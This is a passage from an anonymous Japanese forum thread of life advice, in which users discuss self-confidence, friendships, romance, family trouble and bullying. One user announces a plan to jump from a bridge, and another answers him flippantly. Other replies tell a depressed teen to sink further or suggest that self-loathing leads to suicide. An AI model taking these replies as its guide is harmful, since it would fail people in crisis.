自分をどう評価すれば自信につながりますか?
自分のことを可愛い、頭がいい。と思うんですか?


376 :マジレス:2006/11/09(木) 21:06:17 ID:xMST6GXQ
>>364さん
あなたのお母さんは親戚の方々に息子のいいとこを早く見せたくて
仕方ないのかも。
でもお母さんの言い方はよくないと思います。
だんだんプレゼントするって気持ちも下降するのもわかりますよ。
でもさ、食事っていいと思うよ。
居酒屋さんとか。焼肉やさんとか。
お母さんのことは「ハイハイ」って聞き流しておじさんたちと
一緒に過ごすこと考えたらいいよ。
「給料入ったんですけど、どういうとこ連れてったら喜んでもらえるのか
わからなくて。行きたいトコありますか?」って言ってみたら?
しかし、お給料でプレゼントなんてえらいよねー!

377 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 21:07:20 ID:c5COso0/
>>362
ならば
後悔しても、それを埋めることをすればいい。

親に経済的苦労をかけて大学に行き後悔したなら、卒業後就職して親に経済援助―負担の償い―をすればいい。
高卒で就職し働いて苦い目にあって後悔したなら、お金を貯め仕事を辞めて大学に入って、自分自身に償いをすればいい。
(私は下のほうを勧めるけどね。親戚の中で高卒のうちの親父が一番生涯賃金を稼いでいる、という事実からね)

後悔をすることがわかっているのならば、あきらめて後悔する道を行く。
その道を抜けたら、あらためて後悔の償いをすればいいよ。

378 :マジレスさん :2006/11/09(木) 21:08:28 ID:GewuTscr
>>373 言いたい事は分かるんだけど、ちょい語弊が無いかな?
可能性を自ら閉ざす事と、限界を見極めて選び取る事は違う気が

失敗する事も過程としては大事だから、失敗=終わり じゃなく
反省はしても落ち込み過ぎるなと言いたいな

379 :マジレスさん:2006/11/09(木) 21:09:32 ID:4RVHOBP8
>>368
>>195を書いた者なんですが読んでいただけましたか?
逆の立場を考えてみて下さい。
本当に彼が貴方を思っているなら、
貴方を心配させたりしないですよ。
最近すれ違って1ヶ月会えてないとのことですが、
原因は何ですか?

380 :344:2006/11/09(木) 21:15:15 ID:qR6q26Kz
>>372
あ〜なんか趣味の面でも他人と比べているような気がします…。
趣味で比べても意味がないのに。

何か色々難しいですね…。

381 :マジレスさん:2006/11/09(木) 21:17:47 ID:4RVHOBP8
>>375
自分のことを可愛い、頭がいいと評価するのではなく、
ありのままの自分を好きになることですよ。
貴方が今持っているもの、今まで培ったものをそのまま素直に素晴らしいと思えますか?

382 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 21:18:56 ID:c5COso0/
>>371(私信ゆえ、スルーして下さい)

俺は、高校生のときからそうだった…かわいそうな高校生…w
子供のときから今にいたるまで「変わり者」扱いだから、なんとも思わないが。
まあ、「老人」として生まれたんですな。

ゆえに、年々歳を食うごとに、若返っている気がしますです。
子供の頃は「ジジ臭い、ませたガキ」といわれていたのに、いまや「えっ?34歳、子供みたいなヤツ」と言われております。



383 :マジレスさん:2006/11/09(木) 21:21:22 ID:1m/86OMw
どなたかお願いします。
職場が一緒の子の事なんです。感情に波がある子で、出かける約束をしてもその子のその時の感情で、約束が無しになったりします。
感情に波があるのはしょうがないかな(人それぞれなので)と思うんですが、顔色を伺ってしまう自分がいます。
元気だなと思う場面がありますが、少し時間がたてば「アレ?さっき元気だったよな?」と思わせる感じだったりで…
「何かあった?大丈夫?」とか声かけるのもう疲れました。でも声かけないのも人としてどうなの?
皆さんだったらどうしますか

384 :マジレスさん:2006/11/09(木) 21:21:46 ID:D7Jn171m
>>382
そいつ未成年浪人生だぞ

385 :344:2006/11/09(木) 21:23:47 ID:qR6q26Kz
>>381
すいません、わかりません。


386 :マジレスさん:2006/11/09(木) 21:23:51 ID:D7Jn171m
>>383
「子」だったら子供として扱えばいいんじゃないの?
少なくとも一人前の社会人には遠いようだ。

387 :マジレスさん:2006/11/09(木) 21:25:55 ID:eAE1M+Do
僕は今高校2年の学生です。
僕にはいつも六人位のグループで話したりいろいろしてるのですが、カラオケとか集まりの時に自分だけ呼ばれません。
なぜでしょうか?
どうしたらいいでしょうか?


ちなみに僕はあんまり馬鹿なこととかしなくて、テンションもそんなに高い とかはないです。

388 :マジレスさん:2006/11/09(木) 21:28:20 ID:1m/86OMw
>>386
即レスどうもです。
その子は22歳です。
明日も仕事が憂鬱だ…

389 :364:2006/11/09(木) 21:30:14 ID:j+3YLIcg
>>376
サンクス。さっきまで気分が沈んでいましたが、少し晴れました。
自分の考えを一貫して行動したいと思います。

390 :マジレスさん:2006/11/09(木) 21:30:35 ID:4RVHOBP8
>>385
では、
今の自分に満足してますか?
今の自分の好きなところはどこですか?

391 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 21:31:13 ID:c5COso0/
>>378
語弊満々です。
>>可能性を自ら閉ざす事と、限界を見極めて選び取る事は違う気が

おっしゃるように、全く別物ですが、最後には結局同じになるのです。
私は人間の「生命力」というものを信じています。それと同時にその限界も考えています。
ゆえに、ある可能性がとじられれば閉じられた分だけ、残る「生命力」もっと狭めて言えば心的エネルギーは残りの「可能性」へ注がれざるを得ないと考えています。
多くの可能性をあきらめてあきらめても、あきらめきれないものが残ります。
それを「これだけは、あきらめることが出来ない」とあきらめると
迷うことなく、そこに全力を注ぐことが出来る(「出来る」というか、そうせざるを得なくなる)

関係ないスレ汚し、失礼致しました。


392 :372:2006/11/09(木) 21:31:47 ID:GewuTscr
>>380
レス読んで思ったけど、きっと真面目で考え過ぎちゃうだけだと思うから
とりあえず褒められたら「有り難う」って、素直に喜んでみると良いかと
褒めた相手も、きっと喜ぶ顔が見たいんだと思うからさ

あと、他人を褒めると、相手もより具体的に褒め返してくれたりする
抽象的に言われるより「貴女のここが好き」って言われれば、自信が持ち易いかな?
馴れ合いと言えばそうだけど、そもそも人間関係ってそんなものだと思うし
特に趣味に関しては、楽しむ事が一番重要だと思うんだよね

393 :マジレスさん:2006/11/09(木) 21:34:10 ID:xRTu9Lck
>>383
多かれ少なかれみんなそうだよ。
社会人になれば悩み事なんか尽きないし、さっきまでのは空元気だったとか、
ふと心配事が頭に浮かぶなんてのは誰でもある事っしょ。
いちいち気にしなくてもいいんじゃない?

394 :マジレスさん:2006/11/09(木) 21:37:22 ID:9VUuEsWH
いきなりすみません
いつも凹んでますがより凹むことがあったので…

自分には居場所が無いです

家では親に罵倒され
学校では訳もなくいじられ
頑張った筈の受験にも落ちました

嘘ばかり言っていて、凹んでも勝手に人にわからないようにしている自分が嫌

本当に辛いです…

395 :マジレスさん:2006/11/09(木) 21:38:12 ID:jlbRJ+4g
CDを1枚だけ友達に郵送したいのですが、どの方法が一番安くすみますか?

396 :344:2006/11/09(木) 21:38:37 ID:qR6q26Kz
>>390
満足していませんね…。
自分の好きなところもありません。

なんかもうだめだめですね

397 :マジレスさん:2006/11/09(木) 21:38:57 ID:pycWRoeq
僕は、20才の大学生です。
今まで、仲もそれなりに良かった(と思っていた)女友達がいました。
しかし、最近、道で会っても話してくれなくなりました。
原因が僕にはまったくありません。
僕は、ほとんど女の人と話したことがありません。
その女友達が唯一、話をすることができる女の人だったのに…。
僕はどうしたらいいのでしょうか?
またその人と仲良くなれるのでしょうか?

398 :マジレスさん:2006/11/09(木) 21:41:24 ID:VNnNvbWY
>>377
ありがとうございました

悩んでる暇は無い(大学に行くなら行くで勉強しないといけないし、働くなら就職先探さないといけないし)けど、人生を左右することだしもうちょっと考えてみます。

でもどちらにせよ、なんとかやっていける自信がつきました。ほんとにありがとうございました

399 :マジレスさん:2006/11/09(木) 21:41:25 ID:3aIuNA81
>>397
ツラいのは最初と最後、話しかける時と別れる時と決まっている
理由があったとしても勇気出すしかないべさ
がんがれ

400 :マジレスさん:2006/11/09(木) 21:42:47 ID:gJUwIUCW
17歳高校生

授業中にふとしたことで思い出し笑いをしてしまい
それをクラスのDQNに見られていました
その後いろんな人にめっちゃキモイと罵られてます・・・・
もう嫌です

401 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 21:42:58 ID:c5COso0/
>>396
自分にウソをつくなよ。(まあ、自分にウソをついているのがわからないのだろうなあ)

ほんとうに、自分の全てが嫌いで満足していない人間は
すぐに自殺するか、発狂するか、二重人格的症状に陥る。


402 :マジレスさん:2006/11/09(木) 21:43:24 ID:pHsKwJRP
>>343
大学に行きなさい。
大学に行くというメリットはたくさんあります。

自分に一般的な大学卒業程度の高等知識が常識として着きます。
自分と同じ境遇の同じ目標を持った友人、知人が出来ます。
自分に社会に出てからの役立つ技術知識が着きます。
もちろん就職に有利ですから将来の展望が違ってきます。

4年間のお金はかかるでしょうが、それ以上のものがあなたの身に着きます。
行きたくても行けない人も居ます。
勉強したくても時間やチャンスが無い人もいます。
大学に行って勉強して知人友人を作り大きく成長しなさい。

403 :マジレスさん:2006/11/09(木) 21:44:31 ID:4RVHOBP8
>>396
そんなことないですよ!
そう思ったら変えるチャンスですから。

少しでもいいですから、
今の自分のいいところを書き出してみませんか?
どんなことでもいいです。
それを良いじゃん!って心から認められたらちょっとずつ自分が好きになれますよ。

404 :マジレスさん:2006/11/09(木) 21:45:57 ID:fGYM0+uq
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405 :344:2006/11/09(木) 21:46:32 ID:qR6q26Kz
>>392
はい、私は真面目だと思います。
真面目で、余計な事まで考えてしまうんですよね。

他人に誉められても、なんだか自信がつかないんですよね。
部分的にも誉められたことはあるんですが、どうも自信につながらない…。
最近やってて楽しいことがありません。

なんだか否定的な言葉ばかり言って、すみません。

406 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 21:47:24 ID:c5COso0/
>>398
いつでも、人はやりなおせると、私は信じています。
特に、あなたのようにまだ若く、自分自身や両親のことに悩める能力のある人は
いつでも やりなおせる。

407 :361:2006/11/09(木) 21:48:09 ID:GewuTscr
>>374
本気でも軽くても、大前提として好みや相性ってものが有るんじゃないかと
相手の判断を尊重出来ないなら、付き合えたとしても束縛から破局するだけだと思う

魅力は人それぞれなんだから、恋愛以前に人間関係として
お互いが良いと思えなければ成り立たないよ

無理矢理上っ面の「恋人」作るより、まず長く付き合える家族や友人を大切にする方が大事かと
彼女が居るとか居ないとか、それで人間性を判断してるのなら、そっちのほうが問題だと思う

疲れて弱ってると、どうしても思考が暗いままループするからさ
とりあえず温かいもの(ホットミルクやココアには鎮静効果と安眠作用が有る)でも飲んで寝て
休日に散歩とかしつつゆっくり考えてみたらどうかな? 風邪お大事にね

408 :マジレスさん:2006/11/09(木) 21:50:55 ID:oFVgFP45
>>379
読みました。昨夜はあれで少しホッとしたのは事実です。
すれ違いは彼の仕事が忙しく連絡不精になったりドタキャンが続いたり、会えなかったのが一番の原因です。
今は無理にでも会えばよかったと後悔してます。
今は彼が無事で居てさえくれたらいい。今の379さんならどうしますか?待ちますか?
もし入院してて昏睡状態だったらとか、生死をさ迷うような状況だったらとか、とにかくマイナスのことしか考えられません。

409 :344:2006/11/09(木) 21:52:19 ID:qR6q26Kz
>>401
私は二重人格です…。
というか感情の波が激しいです。

>>403
ありがとうございます。
自分のいいところ…いいところ…。
…なんだか考えれば考えるほど落ち込んでいきます。


410 :397:2006/11/09(木) 21:52:26 ID:pycWRoeq
>>399
もう、数日もずっと悩んできたけど・・・
やっぱり、とにかく話てみるしかないですよね。

>>400
そういうこと、僕にもあります。
僕の場合、そんな時は、見られてしまった後は“キモイ”と言われる前に人を笑わせてたりしてその場をしのぐようにしています。
できなくても、努力だけはします。
そしたら最低でも“キモイ”とは言われないから。

411 :408:2006/11/09(木) 21:54:46 ID:oFVgFP45
>>379
語弊がありました。
ホッとしたのは379さんの「彼は大丈夫」というフレーズです。
初めての彼なので依存してしまってるのは事実です

412 :マジレスさん:2006/11/09(木) 21:56:08 ID:1m/86OMw
>>393
ありがとうございます。そうですよね…。
考えすぎないでみますね。

413 :マジレスさん:2006/11/09(木) 21:59:10 ID:gJUwIUCW
>>410
もう手遅れかもしれません・・・・
事が起きたのは月曜のことなんで・・・・・

414 :マジレスさん:2006/11/09(木) 22:00:41 ID:4RVHOBP8
>>409
344さん。
こうして文章をやりとりしているだけでも、
貴方はキチンと自分を正直に表現できていて素晴らしいですよ。
無理に考えることないんです。

コップに半分だけ好きな飲み物が入っているのをみて、
いっぱい入ってる、やった!
って思うか、
少ないじゃん、最悪!
って思うかは貴方次第なんです。
まだ良いところをうまく見つけられないだけで、
良いところは貴方にはすでにたくさんあるんですよ。
それを忘れないで下さい。

415 :マジレスさん:2006/11/09(木) 22:00:48 ID:q1nPQCtX
私は人によって接し方が変わるのが悩みです。   部活の子達とはふざくあったり冗談を言ったりできるのですが
クラスの子達とはなかなかそんな風になることができません。
どうしてなのでしょうか。なんだかクラスに入ると構えてしまうのです。
それに私は口下手なので話題が思いつかず
クラスの子とはすぐに無言状態になってしまいます。私といるせいで相手の子をつまらなくさせているのだと思うと
毎日つらいです。
 この状況を脱出するにはどうすればいいのでしょうか。

416 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 22:05:07 ID:c5COso0/
ageておこう
>>409
もっと落ち込め  なぜなら

>>403さんのように、ポジテイブにすくすく成長してゆく人もある。
日向のひまわりのような、そういう人たちもいる。
しかし、人はそれぞれ違う。
落ち込み、ネガテイブに暗い日影を行き、「もうだめだあ!」となるまで心のベクトルの方向が変わらない。
言ってしまえば、狂う寸前まで、それどころか一度狂って自己破壊しないと、次に進めないひともいる。
あなたがそういう人かどうかはわからないけど


ひとは それぞれ 違うんだ。




417 :マジレスさん:2006/11/09(木) 22:07:32 ID:4dWyuNI9
>>344
あなたの言う「自信」ってどういうことなんでしょうね・・

418 :マジレスさん:2006/11/09(木) 22:07:58 ID:4RVHOBP8
>>408
当時の私なら無理に連絡を取っていたでしょう。
それで彼に重たい、やりたいことを邪魔するなと言われ別れることになりました。
彼がただいてくれたらいいと思えるようになったのは素晴らしいと思います。
失いそうになって初めて気づくんですよね…

例え関係が壊れたとしてもとにかく今は連絡が取りたいのであれば行動すべきだと思いますが、
以前から彼の方があまり構ってくれなかったのであれば、
もしかしたら貴方と連絡を取ることに疲れたのかもしれません。
参考にならなくてすみません。
ただ貴方が彼を思う気持ちは良くわかります。

419 :マジレスさん:2006/11/09(木) 22:09:34 ID:eAE1M+Do
>>387


420 :マジレスさん:2006/11/09(木) 22:10:14 ID:pHsKwJRP
>>415
それはね、あなたがクラスの人たちに興味がないからだよ。
自分自身が作っている状況なんだから、そんなに落ち込まずに。
つまり、自分から話題を膨らませたり相手の話に興味をもって乗っていったりしないのに
なぜに甘い果実を求めるのか。
自分が興味ないのなら、白けるのはあたりまえ。

なんでもかんでも欲しい欲しいじゃ周りもたまらないだろう。
じぶんではそう思っていないだろうが。

421 :344:2006/11/09(木) 22:13:27 ID:qR6q26Kz
>>414
ありがとうございます。
少しずつ自分の良いところを見つけ、自信に繋げたいと思います。

>>416
できたら向日葵のようにいきたいですね…。
自分の進み方で行けってことですよね?

>>417
もしかしたら私はまた「自信」について考えすぎているのかもしれません…。


422 :マジレスさん:2006/11/09(木) 22:17:51 ID:pPtlZtzQ
>>407
友達はいるのに彼女は出来ません。
今まで彼女の一人すら作れなかった自分の人間としての程度の低さに
いらだつ毎日です。

休日に考え事をしていても彼女が出来ないことに対する
劣等感ばかりが募ります。

最近、一人でいることの寂しさがどんどん強くなってきました。
今年から一人暮らしを始めたのもあるのですが本気で辛いです。

423 :マジレスさん:2006/11/09(木) 22:20:18 ID:GWVNm6yF
>>394
親から存在を認められる事が無く、いつも顔色を見て、ビクビクしていて、
失敗を厳しく攻められ、愛情を感じる事が無い、子供時代を過ごして来たのではありませんか。

424 :マジレスさん:2006/11/09(木) 22:21:25 ID:Mn9nYQ1A
>>421
自信ってのは「できること。できると自分で把握できていること。」だと思います。
例えば
水泳で25メートル泳いだことがあるとします。
ったら、25メートル以内の水泳に対しては「自信がある状態」
25メートル以上になると「やったことがないので自信がない状態」
人によっては
「自分は25メートル泳いだことがあるので、同じやり方でそれ以上の距離を泳ぐことも可能だろうから
ためしにやってみる」と、自分の持ってる「自信」のカードを賭けて
それ以上のステップに進むことができます。
人によっては
「そんな長い距離を泳いだことがないので26メートル地点で足がつる可能性だってある」
と自分の手持ちのカードをそれ以上に賭けることはしません。

自分の手持ちのカードがどういうものかをきちんと把握して
それを踏み台にもうちょっと上を目指してみよう、と考える人は自信家。
手持ちのカードの価値を過小評価したり、うまく使えない人が自信のない人。
って感じじゃないでしょうか?

425 :マジレスさん:2006/11/09(木) 22:23:25 ID:eAE1M+Do
>>387です

だれか答えてください。
やっぱり僕は誰からも相手にされないのかな…

426 :マジレスさん:2006/11/09(木) 22:27:32 ID:Tm436NGD
>>425
なぜかは分からないけど・・
今度遊びの話(行くでも、行ったでもどちらでも)が出たら
「俺も混ぜてくれよー」と軽く言ってみたら?
で、言葉を濁されたらグループの中で一番話せる人に
理由を聞いてみたらどう?

427 :マジレスさん:2006/11/09(木) 22:30:08 ID:eAE1M+Do
自然に誘われるようにやるには…
面白くなるしかないですか?

428 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 22:30:44 ID:c5COso0/
>>421
無理強いするつもりはないので聞いてほしい。

>>できたら向日葵のようにいきたいですね…。

あなたは自分で「人と比べてしまう、人が気になる、人が羨ましい」から「自分に自信がなくなる」
と、自分でわかっていますなあ…これまでのレスを見ると。

それなのに、>>「できたら」「向日葵のように」いき「たい」ですね…。
また人と自分を比べて、人のように生きることを望んでいますなあ。
そしてまた、「人のようにできない自分」に「自信をなくす」のですなあ。

…ああ、まだ幼いのだなあ 。もうすこし年を重ね人生経験するしかないんだろうなあ…
ないものはない 欲しくても得られないものがある ひとをうらやんでも仕方ない と「断」ができるには…

429 :マジレスさん:2006/11/09(木) 22:32:41 ID:4RVHOBP8
387さん。
そのグループの中で特別仲の良い友達はいますか?
いるのであれば自分から何故誘われないのかまず聞いてみてはいかがでしょうか?

もし特別仲の良い友達がいないのであれば、
貴方を馴れ合いくらいの相手にしか思っていないのかもしれません。
誘われるのを待つのではなく時には自分から誘ってみては?

430 :344:2006/11/09(木) 22:33:54 ID:qR6q26Kz
>>424
なるほど。そんな感じがしますね。
考えてみれば、私は自分自身のことを見つめ直せていなかったのかもしれません。
自分のことを見つめ直せていないから、自分のできる、できないことが把握できなく、
不安になり、自信がなくなっていたのかもしれません。

>>428
ああ…そうですね、また比べてしまいました…。
自分は自分、人は人といけるよう頑張ります。


431 :マジレスさん:2006/11/09(木) 22:36:39 ID:MMTBc8kH
僕は浪人生です。僕には高1の妹がいます。
実は妹は中学の頃から不登校ぎみで今では何とか高校に行ったものの週に2回行くか行かないかぐらいです。
先日は不安定な心からか家のガラスを割って泣いていました…。
妹と話がしたいけど悩んでるのは本人です。もちろん僕もすごく悩んでいます。話を聞く側から話を持ちかけるのも何だし…。だけど話したい。
僕はどう行動すればいいんでしょうか?アドバイスお願いします

432 :マジレスさん:2006/11/09(木) 22:36:40 ID:FxpPy06d
>>425
じゃあ、お馬鹿なことやればいいさ

普段は普段で真面目に、オチャラける時はバカになる。スイッチのON/OFFを
きちんとすれば自分の本来の性格も保身できるし、イベント発生したときは
ノリもあるけどみんなが熱くなりすぎたときは冷静沈着に抑えてくれる人間とみられ
真っ先に呼ばれるし、頼りにされるよ。

433 :マジレスさん:2006/11/09(木) 22:37:22 ID:K63WorJH
学校やめて通信制に行く
しかし不安ばかりで
死にたい衝動起きまくり
バイトもしたくない
夜の仕事はよくても
16だから…
本当どうしよう
何もかも捨てたいよ

434 :マジレスさん:2006/11/09(木) 22:37:52 ID:Tm436NGD
>>427
面白くなれるの?無理に面白くなろうと思うと
ストレスたまるかもしれませんよ。
今まで誘われていなかったのだから、きっかけは
自分で作りましょう。
他力本願だと、無理に面白く振舞っても誘われなかったら
また悩みが増えるだけですよ。
一緒に遊びに行く機会が増えれば自然に誘われるようになる。
でも、誘われるばかりじゃダメで時には自分から言い出すように
誘い、誘われのバランスを取って下さい。

435 :マジレスさん:2006/11/09(木) 22:39:58 ID:xIOigPL0
4年半付き合って私が別れよう、といった彼氏と友達になろう、といわれ
彼にはもう新しい彼女がいるらしいです。
今日物品返却をしたのですが私が強がって「新しい人は
もういらないわ〜」みたいな話をすると「強がるな、そんな態度だったら
友達にはなりたくない」といわれました。
もっと、付き合っていたころのほわ〜んとしたリラックスしたキャラ
でいてほしい、みたいにいわれました。
でも、こないだ別れたとき、「死にたい」といっていたときは「強くなれ、」
といわれました。でも、今日会ったときに強がっていたらそれが
気に食わなかったようです。
また、私が彼氏がデキないしもう出会えなかったらどうしよう
といわれたときに「真実の愛は俺はもう体験しているけど
素直になったらできるはず」とかいろいろアドバイスされました。
新しい彼女とはすごくいい関係らしいのですがまだ2ヶ月しか付き合っていないのに
「真実の愛」といってきます。
で、私が「次はお金のある人がいい」というと「お金で決めるなんて
無償の愛じゃない」みたいにいわれました。
もっとリラックスしたキャラじゃないと友達もムリ、とか
意味のわからないことをいわれました。
これはなんなのでしょうか。
もうこの彼とは友達にならないほうがいいのでしょうか。

436 :392:2006/11/09(木) 22:40:19 ID:GewuTscr
>>405
真面目なのは長所だし、慎重で堅実
ただ、同時に短所も生み出しちゃうから、完璧主義者にはキツイかもね

もし「〜でなければいけない」とか「〜しなければならない」って思考パターンなら
自分に対して許容範囲を広げる事(気楽に構える)は必要かもね
はっきり言って性格上の思考の癖で、いきなりどうこう出来るものじゃないけど
意識する事で少しずつ変わっていく事は出来るよ、十代なら尚更

>>409
表裏は良い意味でも悪い意味でも、誰にでもあると思う
無いと思ってるなら、人間を一面しか見れてない事になるけど
これは単純に人生経験の問題。貴女の悩みは、ある意味今だからこそだと思うよ

感情の波って、気分がいい時は有るのかな?
いつも暗いんじゃちょっと心配だけど、明るい時、前向きが有るなら大丈夫だと思う
女性はホルモンバランスで感情を左右され易いから、メンタルケアは大事だね


自信って結局は、心の余裕みたいなものだよ
考えるあまりにゆとりがなくなってるみたいだから
まずはリラックスする所から始めた方が良いかも知れないね

437 :マジレスさん:2006/11/09(木) 22:41:19 ID:+aK9zz+l
21歳大学3年の女です。
最近学校がつまらないんです。
授業がつまらないのも原因のひとつなんですけど、それよりも友達といる時間が苦痛になってきました。
5、6人でお昼などを食べる等、私はあまり発言できなくて愛想笑しかできなくて…いつの間にか
一人浮いています。みんなでいてもつまらなくて惨めで「私は人間付き合いできないんだなぁ」
と思うと悲しくて涙が出てきそうになります…。
今は話を聞いているだけですがもう楽しくも無いのに笑うのも疲れました。
でも今更一人になるのも嫌なのです…。
私は話題性も無くつまらない人間なんだなぁと思うと…鬱気味で学校行くのが嫌でたまりません。
こんな私はどうすればいいのでしょうか?

438 :マジレスさん:2006/11/09(木) 22:42:45 ID:eAE1M+Do
言い忘れてましたが僕は人と二人きりになるとどちらも何も喋らなくなります。
なぜかあっちがかしこまったり気まずい

みたいな空気になり

439 :マジレスさん:2006/11/09(木) 22:43:58 ID:Tm436NGD
>>431
悩みを抱え込んでいるから、ガラスを割ったのでしょうね。
抱え込んでる場合は、聞く側から「自分にできる事があれば
協力するし、話して楽になるなら話して欲しい」と伝えて
話をしたいという意思表示をしてあげて下さい。
近所で美味しいケーキでも買ってきて、一緒に食べようと
誘って話を引き出したらどうかな?

いいお兄ちゃんだね。

440 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 22:44:46 ID:c5COso0/
>>421
すまないね。嫌なオッサンは今夜はもう出ないから最後にね

「何にも自信がない」は「何でもできる(全能感)」の裏返し
君は、自信満々に「自分には、いいところがなにもない」と言い切る自信家。
オッサンから見れば、はかなげな女子高生がしょぼんと悩んで入るだけで、かわいくて魅力があるんだよ!
人のことを見ているようで、ちっとも見ていない「自信家」
周りの人間がみんな君に「こいつ何にもいいところがない」なんてこと、客観的に人をよく見ていれば思っているわけがない。
人が評価してくれている自分の良さがわからないのならば、それは人のことを全然「見ていない」
自分のことしか 見ていない



441 :マジレスさん:2006/11/09(木) 22:51:10 ID:oFVgFP45
>>418
今は落ち着きたいと思います。興信所に電話しようとも思いましたが、それも今はやめます。
聞いてほしかった、一人だと発狂してた。と思いますありがとうございました。
あなたは素晴らしい方です。

442 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 22:52:04 ID:c5COso0/
>>430
ごめんなさい。>>440にもかかわらず、レスさせて下さい…

「黙れ!クソジジイ!2ちゃんなんかいい年こいてしてんじゃねえよ。消えろ。氏ね」

ぐらいは書いて欲しかったなあ…そんなに素直に人の(しかも胡散臭いこのオッサンみたいなヤツの)言うことを聞いちゃだめだよ…
また、自信がなくなって落ち込んじゃうよ。

じゃあ、今夜はこれにて

443 :435:2006/11/09(木) 22:53:46 ID:xIOigPL0
435ですが、どなたかお願いします

444 :マジレスさん:2006/11/09(木) 22:54:36 ID:MMTBc8kH
>>439ありがとうございます。やはりぐずぐずしていてもダメですよね。
何とか明日自分が話したい意思表示をしてみたいと思います

445 :マジレスさん:2006/11/09(木) 22:54:47 ID:Tm436NGD
>>433
何もかも漠然と不安になっているみたいですが・・・
通信制に行く事は決まったのですか?
続くかどうか不安なのでしょうか?
家に居ても学校みたいに時間割を作るといいかもしれませんよ。
ダラダラしてしまうと続かないと思うからね。
自分でも出来る方法、続けて行く方法を具体的に考えて下さい。

バイト、夜の仕事は昼夜逆転になるから、身体的にも精神的にも
若い子にはお勧めできないよ。
人と接する事が苦手なら、作業系のバイトを探したらどうかな?
高校生だからバイトは限られてくるとは思うけど、
「自分で出来そうな事」を探してみて下さい。

446 :マジレスさん:2006/11/09(木) 23:03:43 ID:GewuTscr
>>443
せっかちとか、他力本願だって言われない?
レスの長さや内容からして、まだ答えが無くて当たり前だと
真剣に答えてくれる人の事考えるなら、最低一時間は待った方が良いと思うよ

悩んでるとあせるのはわかるんだけどね

447 :マジレスさん:2006/11/09(木) 23:03:50 ID:Tm436NGD
>>435
彼と友人関係を継続したとしても、あなたにはプラスに
なりそうになく、むしろマイナスなような気がします。
距離を置いた方がいいと思いますよ。

あと、「強がる」ってのは弱いのよ。
強いってのは現状を受け入れて乗越えられる人よ。

448 :マジレスさん:2006/11/09(木) 23:03:53 ID:K63WorJH
>>445
アドバイスありがとうございます!!
こんな私が通信卒で
生きていけるか不安なんです。
新しい環境に踏み出すことも…
その勇気がもてたなら
夜の仕事もしたいなって。
私精神弱いですけど
夢だったんでかなえたいんです。


449 :マジレスさん:2006/11/09(木) 23:04:09 ID:pPtlZtzQ
どうせ彼女も出来ないしもう死にます。
明日の帰り橋から川に飛び込もうかと思います。

皆様今までありがとうございました。

450 :マジレスさん:2006/11/09(木) 23:05:44 ID:pHsKwJRP
>>437
そんな些細なこと気にするな。
>みんなでいてもつまらなくて惨めで「私は人間付き合いできないんだなぁ」
そのときその関係が濃密でなければつまらないだろう。

勘違いしているのでリセットしてあげる。
ランチ食っているときに一番濃密になることは無い。
そんなの普通だよ。
それともそんなときにこそ全力を出すのか?
つまらないときになにも喋らないのがなぜ苦痛?
自分は自分の生活価値観世界があるのに、なぜあわせる?

451 :マジレスさん:2006/11/09(木) 23:07:52 ID:4RVHOBP8
>>441
経験したことをお話ししただけですが…ありがとうございます。
彼はきっと大丈夫ですよ。
ゆっくり休んで下さいね。

452 :マジレスさん:2006/11/09(木) 23:09:00 ID:G+rKbp17
予備校で、いじめにあっています。
受験生だからストレスも溜るし、だから仕方ないことなのかなぁと思って、我慢していました。

けれど、夏頃から頭痛や目眩、腹痛等の軽い体調不良が続いていて、それに伴って段々と恐怖が芽生えてきてしまい、その頃から予備校に行っていません。

周囲の人に相談してみたりもしたのですが、予備校の不登校って…(笑)、と笑われてしまい、以後誰にも話せていません。
何とか行こうとするのですが、朝になると激しい頭痛がして起き上がれないです。

予備校の先生は、私が休むと「お前が遊んでる間に皆こつこつ勉強頑張ってるんだよ」と言います。
どうにかしてでも行くべきですよね。遊んでるのと、同じなんですよね。
でも、怖くて仕方ないです。

453 :マジレスさん:2006/11/09(木) 23:12:09 ID:pnLF/N3N
友達といると疲れる。一人の方がラクだけど、誰ともつながらないで生きていくのは寂しい。しかもなんか一部の人にぶりっこだと思われてるし。

454 :マジレスさん:2006/11/09(木) 23:15:24 ID:BvfsJGav
些細なことなんですが、聞いてください。
さっき母と話てて、昼間やっていたストレッチの話になって、私は学校にいて見てなかったのでどうやるのか教えて と言いました。
そんで教えてもらってたんだけど、私がなんか違う動きをしたらしくて、そんなかっこなわけないでしょ みたいなことを何故かかなり怒った口調で言われました。
それであまりにも怒った口調で言うのでそんなに怒鳴らなくてもいいじゃないか と言ったら、あんたとは話が合わないと吐き捨てられて部屋を出て行ってしまいました。
なんでそんなに怒るのか全く意味がわからないんですけど、私が変なんでしょうか?

455 :マジレスさん:2006/11/09(木) 23:16:29 ID:H4iLd0Aj
大した事じゃないけど最近弟がEMUってのにハマって夜遅くまで起きてる。
注意すべきなんだろうか?まあ親が来るって分かったら即止めて部屋に戻って行くのだがw

456 :マジレスさん:2006/11/09(木) 23:16:43 ID:GewuTscr
>>449 つ>>407

早く寝た方がいいと思うよ。今寒いし川冷たいし
でも彼女が出来ないから死ぬって珍しいね

457 :マジレスさん:2006/11/09(木) 23:17:11 ID:/m+QP4zD
>>453
岡目八目。
欲しがるクセより与える努力。

458 :マジレスさん:2006/11/09(木) 23:18:32 ID:H4iLd0Aj
>>449
安心しろ俺も彼女はいない
作ろうと努力すればそのうち報われるさ

459 :マジレスさん:2006/11/09(木) 23:21:19 ID:pPtlZtzQ
>>456
もう彼女いない歴=年齢で6年も悩んでますから。
まるで呪いのようです。

>>458
作ろうとしてもう10数回も失敗しています。
俺が何回も失敗してる傍ら、カップル連れがいるのが
凄く悔しいです。
だから死ぬつもりです。

460 :マジレスさん:2006/11/09(木) 23:21:31 ID:Tm436NGD
>>448
人間関係に不安があるのかな?
通信卒だと通うより人間関係の幅が狭くなるから、
できたら、趣味とかバイトとかで年齢も色々な人達と
接して欲しいと思います。

夜の仕事って具体的にどんなのかな?
できたら20歳以上になってから就いて欲しいと思う。
法的にも自立だからね。
それまで、一つ一つクリアして経験を積んでくださいね。
